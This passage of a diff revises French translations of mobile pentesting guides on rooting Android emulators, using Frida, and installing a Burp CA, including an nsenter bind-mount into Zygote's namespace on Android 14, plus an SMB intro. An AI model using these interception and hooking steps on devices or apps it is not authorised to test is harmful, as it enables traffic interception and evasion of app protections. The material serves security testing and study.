- Sur les hôtes x86_64, l'émulation système complète ARM64 n'est pas prise en charge à partir de API 28+. Pour Android 11+ utilisez les images Google APIs/Play qui incluent une traduction ARM-vers-x86 par application pour exécuter rapidement de nombreuses apps réservées à ARM.
|
||||
Remarques
|
||||
- Variantes d'images système : google_apis (débogable, autorise `adb root`), google_apis_playstore (non rootable), aosp/default (léger).
|
||||
- Types de build : userdebug permet souvent `adb root` sur les images compatibles avec le débogage. Les images Play Store sont des builds de production et bloquent le root.
|
||||
- Sur les hôtes x86_64, l'émulation système complète ARM64 n'est pas prise en charge à partir d'API 28+. Pour Android 11+ utilisez des images Google APIs/Play qui incluent une traduction par application ARM-to-x86 pour exécuter rapidement de nombreuses applications ARM-only.
|
||||
|
||||
### Instantanés depuis la CLI
|
||||
```bash
|
||||
@ -229,30 +229,31 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
|
||||
# Boot from a named snapshot (if it exists)
|
||||
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
|
||||
```
|
||||
## Traduction binaire ARM→x86 (Android 11+)
|
||||
## ARM→x86 binary translation (Android 11+)
|
||||
|
||||
Les images Google APIs et Play Store sur Android 11+ peuvent traduire les binaires d'applications ARM par processus tout en conservant le reste du système natif x86/x86_64. C'est souvent suffisamment rapide pour tester de nombreuses applications réservées à ARM sur un desktop.
|
||||
Les images Google APIs et Play Store sur Android 11+ peuvent traduire les binaires d'app ARM par processus tout en conservant le reste du système natif x86/x86_64. C'est souvent assez rapide pour tester de nombreuses applications uniquement ARM sur un poste de travail.
|
||||
|
||||
> Astuce : Préférez les images Google APIs x86/x86_64 pendant les pentests. Les images Play sont pratiques mais bloquent `adb root` ; ne les utilisez que lorsque vous avez spécifiquement besoin des Play services et acceptez l'absence de root.
|
||||
> Astuce : Préférez les images Google APIs x86/x86_64 lors des pentests. Les images Play sont pratiques mais bloquent `adb root` ; ne les utilisez que lorsque vous avez spécifiquement besoin de Play services et acceptez l'absence de root.
|
||||
|
||||
## Rooting a Play Store device
|
||||
## Obtenir le root sur un appareil Play Store
|
||||
|
||||
Si vous avez téléchargé un appareil avec Play Store, vous ne pourrez pas obtenir le root directement, et vous obtiendrez ce message d'erreur
|
||||
Si vous avez téléchargé un appareil avec Play Store, vous ne pourrez pas obtenir le root directement, et vous verrez ce message d'erreur
|
||||
```
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
En utilisant [rootAVD](https://github.com/newbit1/rootAVD) avec [Magisk](https://github.com/topjohnwu/Magisk) j'ai pu obtenir l'accès root (suivez par exemple [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) I was able to root it (suivez par exemple [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
|
||||
## Installer le certificat Burp
|
||||
|
||||
Consultez la page suivante pour apprendre comment installer un certificat CA personnalisé :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
## Options utiles pour l'AVD
|
||||
## Options AVD utiles
|
||||
|
||||
### Prendre un snapshot
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Frida Tutoriel
|
||||
# Tutoriel Frida
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,22 +10,22 @@ Installer **frida tools**:
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Télécharger et installer** sur l'appareil Android le **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
|
||||
Commande en une ligne pour redémarrer adb en mode root, s'y connecter, transférer frida-server, lui donner les permissions d'exécution et le lancer en arrière-plan:
|
||||
**Téléchargez et installez** sur l'appareil Android le **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
|
||||
Commande en une seule ligne pour redémarrer adb en mode root, s'y connecter, téléverser frida-server, lui donner les permissions d'exécution et l'exécuter en arrière-plan :
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
**Vérifier** si cela **fonctionne**:
|
||||
**Vérifiez** si cela **fonctionne**:
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
## Frida server vs. Gadget (root vs. no-root)
|
||||
|
||||
Deux façons courantes d'instrumenter des applications Android avec Frida :
|
||||
Deux façons courantes d'instrumenter des apps Android avec Frida :
|
||||
|
||||
- Frida server (rooted devices): Poussez et exécutez un daemon natif qui vous permet de vous attacher à n'importe quel processus.
|
||||
- Frida Gadget (no root): Intégrez Frida en tant que bibliothèque partagée dans l'APK et chargez-la automatiquement dans le processus cible.
|
||||
- Frida server (rooted devices): Transférer et exécuter un démon natif qui vous permet de vous attacher à n'importe quel processus.
|
||||
- Frida Gadget (no root): Intégrer Frida en tant que bibliothèque partagée dans l'APK et la charger automatiquement dans le processus cible.
|
||||
|
||||
Frida server (rooted)
|
||||
```bash
|
||||
@ -42,9 +42,9 @@ frida -U -n com.example.app
|
||||
```
|
||||
Frida Gadget (no-root)
|
||||
|
||||
1) Décompressez l'APK, ajoutez le gadget .so et la configuration :
|
||||
- Placez libfrida-gadget.so dans lib/<abi>/ (p. ex., lib/arm64-v8a/)
|
||||
- Créez assets/frida-gadget.config avec les paramètres de chargement de vos scripts
|
||||
1) Décompressez l'APK, ajoutez le gadget .so et la config :
|
||||
- Placez libfrida-gadget.so dans lib/<abi>/ (e.g., lib/arm64-v8a/)
|
||||
- Créez assets/frida-gadget.config avec vos script loading settings
|
||||
|
||||
Exemple frida-gadget.config
|
||||
```json
|
||||
@ -53,10 +53,10 @@ Exemple frida-gadget.config
|
||||
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
|
||||
}
|
||||
```
|
||||
2) Référencer/charger le gadget afin qu'il soit initialisé tôt :
|
||||
- Le plus simple : ajouter un petit stub Java qui appelle System.loadLibrary("frida-gadget") dans Application.onCreate(), ou utiliser le chargement natif de la bibliothèque déjà présent.
|
||||
2) Référencez/chargez le gadget pour qu'il soit initialisé tôt:
|
||||
- Le plus simple : ajoutez un petit stub Java appelant System.loadLibrary("frida-gadget") dans Application.onCreate(), ou utilisez le chargement natif de librairie déjà présent.
|
||||
|
||||
3) Repaqueter et signer l'APK, puis l'installer :
|
||||
3) Réemballez et signez l'APK, puis installez:
|
||||
```bash
|
||||
apktool d app.apk -o app_m
|
||||
# ... add gadget .so and config ...
|
||||
@ -70,38 +70,38 @@ frida-ps -Uai
|
||||
frida -U -n com.example.app
|
||||
```
|
||||
Remarques
|
||||
- Gadget est détecté par certaines protections ; gardez les noms/chemins discrets et chargez-le tardivement/de façon conditionnelle si nécessaire.
|
||||
- Sur les applications durcies, privilégiez les tests sur appareils rootés avec server + late attach, ou combinez avec Magisk/Zygisk hiding.
|
||||
- Gadget est détecté par certaines protections ; laissez les noms/chemins discrets et chargez-le tardivement/conditionnellement si nécessaire.
|
||||
- Sur les applications durcies, privilégiez des tests sur appareil rooté avec server + late attach, ou combinez avec le masquage Magisk/Zygisk.
|
||||
|
||||
## Tutoriels
|
||||
|
||||
### [Tutoriel 1](frida-tutorial-1.md)
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
|
||||
**Source**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Code source**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**Suivez le [lien pour le lire](frida-tutorial-1.md).**
|
||||
**Suivez le [link to read it](frida-tutorial-1.md).**
|
||||
|
||||
### [Tutoriel 2](frida-tutorial-2.md)
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**Source**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parties 2, 3 & 4)\
|
||||
**APKs et code source**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**Source**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Suivez le [lien pour le lire.](frida-tutorial-2.md)**
|
||||
**Suivez le[ link to read it.](frida-tutorial-2.md)**
|
||||
|
||||
### [Tutoriel 3](owaspuncrackable-1.md)
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**Source**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
|
||||
|
||||
**Suivez le [lien pour le lire](owaspuncrackable-1.md).**
|
||||
**Suivez le [link to read it](owaspuncrackable-1.md).**
|
||||
|
||||
**Vous pouvez trouver plus de scripts Awesome Frida ici:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**Vous pouvez trouver plus d'excellents scripts Frida ici :** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Exemples rapides
|
||||
|
||||
### Appeler Frida depuis la ligne de commande
|
||||
### Calling Frida from command line
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
@ -168,9 +168,9 @@ send("Activity HIT!!!")
|
||||
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
}
|
||||
```
|
||||
### Hooking des fonctions avec des paramètres et récupération de la valeur
|
||||
### Hooking de fonctions avec paramètres et récupération de la valeur
|
||||
|
||||
Hooking d'une fonction de decryption. Affichez l'entrée, appelez la fonction originale pour decrypt l'entrée et enfin affichez les données en clair :
|
||||
Hooking d'une fonction de déchiffrement. Affichez l'entrée, appelez la fonction originale pour déchiffrer l'entrée et enfin, affichez les données en clair:
|
||||
```javascript
|
||||
function getString(data) {
|
||||
var ret = ""
|
||||
@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
|
||||
return ret //[B
|
||||
}
|
||||
```
|
||||
### Hooking des fonctions et les appeler avec notre entrée
|
||||
### Hooking functions et les appeler avec notre input
|
||||
|
||||
Hook une fonction qui reçoit une string et l'appeler avec une autre string (d'après [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
Hook a function qui reçoit un string et l'appeler avec un autre string (d'après [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
|
||||
|
||||
@ -210,11 +210,11 @@ console.log("Return value: " + ret)
|
||||
return ret
|
||||
}
|
||||
```
|
||||
### Obtenir un objet déjà créé d'une classe
|
||||
### Récupérer un objet déjà créé d'une classe
|
||||
|
||||
Si vous voulez extraire un attribut d'un objet déjà créé, vous pouvez utiliser ceci.
|
||||
|
||||
Dans cet exemple, vous allez voir comment obtenir l'objet de la classe my_activity et comment appeler la fonction .secret() qui affichera un attribut privé de l'objet :
|
||||
Dans cet exemple, vous allez voir comment récupérer l'objet de la classe my_activity et comment appeler la fonction .secret() qui affichera un attribut privé de l'objet :
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity", {
|
||||
onMatch: function (instance) {
|
||||
@ -228,13 +228,13 @@ onComplete: function () {},
|
||||
## Autres tutoriels Frida
|
||||
|
||||
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
- [Partie 1 de la série de blogs "Advanced Frida Usage" : bibliothèques de chiffrement iOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
- [Frida Gadget documentation](https://frida.re/docs/gadget/)
|
||||
- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
|
||||
- [Construire un laboratoire Android Bug Bounty reproductible : Emulator vs Magisk, Burp, Frida, et Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
- [Documentation de Frida Gadget](https://frida.re/docs/gadget/)
|
||||
- [Frida releases (binaires serveur)](https://github.com/frida/frida/releases)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -3,9 +3,9 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Proxy système via ADB
|
||||
## Proxy global via ADB
|
||||
|
||||
Configurez un proxy HTTP global afin que toutes les applications acheminent le trafic via votre intercepteur (Burp/mitmproxy) :
|
||||
Configurez un proxy HTTP global pour que toutes les applications routent leur trafic via votre interceptor (Burp/mitmproxy) :
|
||||
```bash
|
||||
# Set proxy (device/emulator must reach your host IP)
|
||||
adb shell settings put global http_proxy 192.168.1.2:8080
|
||||
@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080
|
||||
# Clear proxy
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
Astuce : Dans Burp, liez votre listener à 0.0.0.0 afin que les appareils sur le LAN puissent se connecter (Proxy -> Options -> Proxy Listeners).
|
||||
Astuce : dans Burp, liez votre listener à 0.0.0.0 afin que les appareils du LAN puissent se connecter (Proxy -> Options -> Proxy Listeners).
|
||||
|
||||
## Sur une machine virtuelle
|
||||
|
||||
@ -21,7 +21,7 @@ Tout d'abord, vous devez télécharger le certificat Der depuis Burp. Vous pouve
|
||||
|
||||
.png>)
|
||||
|
||||
**Exportez le certificat au format Der** et transformons-le pour obtenir une forme que **Android** pourra **comprendre.** Notez que **pour configurer le certificat Burp sur la machine Android dans AVD** vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\
|
||||
**Exportez le certificat au format Der** et **transformons** le en un format que **Android** pourra **comprendre.** Notez que **pour configurer le certificat burp sur la machine Android dans AVD** vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\
|
||||
Par exemple vous pouvez l'exécuter comme :
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
|
||||
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
|
||||
adb reboot #Now, reboot the machine
|
||||
```
|
||||
Une fois que la machine a terminé le redémarrage, le certificat Burp sera utilisé par celle-ci !
|
||||
Once the **machine finish rebooting** the burp certificate will be in use by it!
|
||||
|
||||
## Using Magisc
|
||||
## Utiliser Magisc
|
||||
|
||||
Si vous avez **rooté votre appareil avec Magisc** (peut‑être un émulateur), et que vous **ne pouvez pas suivre** les **étapes** précédentes pour installer le certificat Burp parce que le **système de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en écriture, il existe une autre méthode.
|
||||
Si vous **avez rooté votre appareil avec Magisc** (par exemple un émulateur), et que vous **ne pouvez pas suivre** les **étapes** précédentes pour installer le certificat Burp parce que le **système de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en écriture, il existe une autre méthode.
|
||||
|
||||
Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez :
|
||||
Expliqué dans [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez :
|
||||
|
||||
1. **Installer un certificat CA** : Il suffit de **drag&drop** le certificat Burp au format DER en **changeant l’extension** en `.crt` sur le mobile pour qu’il soit stocké dans le dossier Downloads et aller à `Install a certificate` -> `CA certificate`
|
||||
1. **Installer un certificat CA** : Il suffit de **glisser-déposer** le certificat Burp en DER en **changeant l’extension** en `.crt` sur le mobile pour qu’il soit stocké dans le dossier Downloads, puis aller dans `Install a certificate` -> `CA certificate`
|
||||
|
||||
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
- Vérifiez que le certificat a été correctement stocké en allant dans `Trusted credentials` -> `USER`
|
||||
- Vérifiez que le certificat a été correctement enregistré en allant dans `Trusted credentials` -> `USER`
|
||||
|
||||
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Le rendre approuvé par le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **drag&drop** le sur le téléphone, allez dans l’app Magics du téléphone à la section **`Modules`**, cliquez sur **`Install from storage`**, sélectionnez le module `.zip` et une fois installé **redémarrez** le téléphone :
|
||||
2. **Le rendre approuvé par le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-le** dans le téléphone, ouvrez l’application **Magics** sur le téléphone dans la section **`Modules`**, cliquez sur **`Install from storage`**, sélectionnez le module `.zip` et une fois installé **redémarrez** le téléphone :
|
||||
|
||||
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
- Après le redémarrage, allez dans `Trusted credentials` -> `SYSTEM` et vérifiez que le certificat Postswigger est présent
|
||||
- Après le redémarrage, allez dans `Trusted credentials` -> `SYSTEM` et vérifiez que le certificat Postswigger s’y trouve
|
||||
|
||||
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
### Learn how to create a Magisc module
|
||||
### Apprendre à créer un module Magisc
|
||||
|
||||
Consultez [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
|
||||
|
||||
## Post Android 14
|
||||
|
||||
Dans la dernière release d’Android 14, un changement important a été observé dans la gestion des certificats d’autorité (CA) approuvés par le système. Auparavant, ces certificats étaient stockés dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs avec les privilèges root, ce qui permettait une application immédiate sur l’ensemble du système. Cependant, avec Android 14, l’emplacement de stockage a été déplacé vers **`/apex/com.android.conscrypt/cacerts`**, un répertoire situé dans le chemin **`/apex`**, qui est immuable par nature.
|
||||
Dans la dernière version Android 14, un changement important a été observé dans la gestion des certificats d’autorité (CA) approuvés par le système. Auparavant, ces certificats étaient stockés dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs disposant des privilèges root, ce qui permettait leur application immédiate à l’échelle du système. Cependant, avec Android 14, l’emplacement de stockage a été déplacé vers **`/apex/com.android.conscrypt/cacerts`**, un répertoire au sein du chemin **`/apex`**, qui est immuable par nature.
|
||||
|
||||
Les tentatives de remonter le **APEX cacerts path** en écriture échouent, car le système n’autorise pas ce type d’opération. Même les tentatives de démontage ou de superposition du répertoire avec un système de fichiers temporaire (tmpfs) ne contournent pas l’immuabilité ; les applications continuent d’accéder aux données de certificats d’origine quelles que soient les modifications au niveau du système de fichiers. Cette résilience est due au fait que le montage de **`/apex`** est configuré avec une PRIVATE propagation, ce qui garantit que toute modification au sein du répertoire **`/apex`** n’affecte pas les autres processus.
|
||||
Les tentatives de remonter le **chemin APEX cacerts** en écriture échouent, car le système n’autorise pas ce type d’opération. Même les tentatives de démonter ou de superposer le répertoire avec un système de fichiers temporaire (tmpfs) ne contournent pas l’immuabilité ; les applications continuent d’accéder aux données de certificats d’origine indépendamment des modifications au niveau du système de fichiers. Cette résilience est due au fait que le montage **`/apex`** est configuré avec une propagation PRIVATE, assurant que toute modification au sein du répertoire **`/apex`** n’affecte pas les autres processus.
|
||||
|
||||
L’initialisation d’Android implique le processus `init` qui, au démarrage du système d’exploitation, lance également le processus Zygote. Ce dernier est responsable du lancement des processus d’application avec un nouveau mount namespace qui inclut un montage privé **`/apex`**, isolant ainsi les modifications de ce répertoire des autres processus.
|
||||
L’initialisation d’Android implique le processus `init`, qui, au démarrage du système d’exploitation, lance également le processus Zygote. Ce processus est responsable du lancement des processus d’application avec un nouveau namespace de montage qui inclut un montage privé **`/apex`**, isolant ainsi les modifications de ce répertoire des autres processus.
|
||||
|
||||
Néanmoins, il existe un contournement pour ceux qui doivent modifier les certificats CA approuvés par le système dans le répertoire **`/apex`**. Il consiste à remonter manuellement **`/apex`** pour retirer la PRIVATE propagation, rendant ainsi le répertoire modifiable. Le processus inclut la copie du contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, le démontage du répertoire **`/apex/com.android.conscrypt`** pour éliminer la contrainte en lecture seule, puis la restauration du contenu à son emplacement d’origine dans **`/apex`**. Cette approche nécessite une exécution rapide pour éviter des plantages système. Pour garantir l’application des changements à l’échelle du système, il est recommandé de redémarrer le `system_server`, ce qui redémarre effectivement toutes les applications et ramène le système à un état cohérent.
|
||||
Néanmoins, une solution de contournement existe pour ceux qui doivent modifier les certificats CA approuvés par le système dans le répertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVATE, rendant ainsi le répertoire modifiable. Le processus inclut la copie du contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, le démontage du répertoire **`/apex/com.android.conscrypt`** pour éliminer la contrainte en lecture seule, puis la restauration du contenu à son emplacement d’origine dans **`/apex`**. Cette approche nécessite une action rapide pour éviter des plantages système. Pour garantir l’application de ces changements à l’échelle du système, il est recommandé de redémarrer le `system_server`, ce qui redémarre effectivement toutes les applications et ramène le système à un état cohérent.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -131,24 +131,24 @@ wait # Launched in parallel - wait for completion here
|
||||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting through NSEnter
|
||||
### Bind-mounting par NSEnter
|
||||
|
||||
1. **Setting Up a Writable Directory**: Initialement, un répertoire inscriptible est créé en montant un `tmpfs` sur le répertoire système de certificats non-APEX existant. Ceci est réalisé avec la commande suivante :
|
||||
1. **Création d'un répertoire inscriptible** : Initialement, un répertoire inscriptible est créé en montant un `tmpfs` par-dessus le répertoire système de certificats non-APEX existant. Ceci est réalisé avec la commande suivante :
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Préparation des certificats CA** : Après la création du répertoire en écriture, les certificats CA que l'on souhaite utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les labels SELinux de ces certificats en conséquence.
|
||||
3. **Montage bind pour Zygote** : En utilisant `nsenter`, on entre dans le namespace de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape afin de s'assurer que toutes les applications lancées à partir de ce moment utilisent les certificats CA nouvellement configurés. La commande utilisée est :
|
||||
2. **Preparing CA Certificates**: Après la configuration du répertoire inscriptible, les CA certificates que l'on souhaite utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les SELinux labels de ces certificats en conséquence.
|
||||
3. **Bind Mounting for Zygote**: En utilisant `nsenter`, on entre dans le namespace de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape afin de garantir que toutes les applications lancées désormais utilisent les CA certificates nouvellement configurés. La commande utilisée est:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Cela garantit que chaque nouvelle application démarrée respectera la configuration mise à jour des certificats CA.
|
||||
|
||||
4. **Appliquer les modifications aux applications en cours d'exécution** : Pour appliquer les modifications aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer dans l'espace de noms de chaque application individuellement et effectuer un bind mount similaire. La commande nécessaire est :
|
||||
4. **Appliquer les changements aux applications en cours d'exécution**: Pour appliquer les changements aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer dans l'espace de noms de chaque application individuellement et effectuer un bind mount similaire. La commande nécessaire est :
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Approche alternative — redémarrage logiciel**: Une méthode alternative consiste à effectuer le bind mount sur le processus `init` (PID 1), suivie d'un redémarrage logiciel du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les changements à travers tous les namespaces, évitant la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins privilégiée en raison de la gêne occasionnée par le redémarrage.
|
||||
5. **Alternative Approach - Soft Reboot**: Une méthode alternative consiste à effectuer le bind mount sur le processus `init` (PID 1), puis à réaliser un soft reboot du système d'exploitation avec les commandes `stop && start`. Cette approche propagera les changements dans tous les namespaces, évitant d'avoir à traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins recommandée en raison de l'inconvénient du redémarrage.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -4,58 +4,58 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Le _**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PC et aux postes de travail d'un réseau local (LAN) d'interagir avec le matériel réseau et de **faciliter la transmission des données sur le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS sont réalisées via leurs NetBIOS names, qui peuvent comporter jusqu'à 16 caractères et sont souvent différents du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (jouant le rôle du client) envoie une commande pour "call" une autre application (jouant le rôle du serveur) en utilisant **TCP Port 139**.
|
||||
_**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PCs et aux Desktops au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission des données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS se font via leurs noms NetBIOS, qui peuvent comporter jusqu'à 16 caractères et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Techniquement, le port 139 est désigné comme ‘NBT over IP’, tandis que le port 445 est identifié comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est aussi aujourd'hui connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de la couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, aux imprimantes, aux ports série, et faciliter diverses formes de communication entre nœuds d'un réseau.
|
||||
Techniquement, le Port 139 est désigné comme ‘NBT over IP’, alors que le Port 445 est identifié comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est aussi de nos jours connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de la couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, imprimantes, ports série, et faciliter diverses formes de communication entre les nœuds d'un réseau.
|
||||
|
||||
Par exemple, dans le contexte de Windows, on souligne que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS over TCP/IP, grâce à l'utilisation du port 445. À l'inverse, sur d'autres systèmes, l'emploi du port 139 est observé, ce qui indique que SMB est exécuté en conjonction avec NetBIOS over TCP/IP.
|
||||
Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS over TCP/IP, grâce à l'utilisation du port 445. À l'inverse, sur d'autres systèmes, l'emploi du port 139 est observé, ce qui indique que SMB est exécuté conjointement avec NetBIOS over TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Le protocole **Server Message Block (SMB)**, fonctionnant selon un modèle **client-server**, est conçu pour réguler l'**accès aux fichiers**, aux répertoires et à d'autres ressources réseau telles que les imprimantes et les routeurs. Principalement utilisé au sein de la famille de systèmes d'exploitation **Windows**, SMB garantit la compatibilité descendante, permettant aux appareils exécutant des versions plus récentes du système d'exploitation de Microsoft d'interagir sans heurt avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logiciel libre permettant l'implémentation de SMB sur les systèmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB.
|
||||
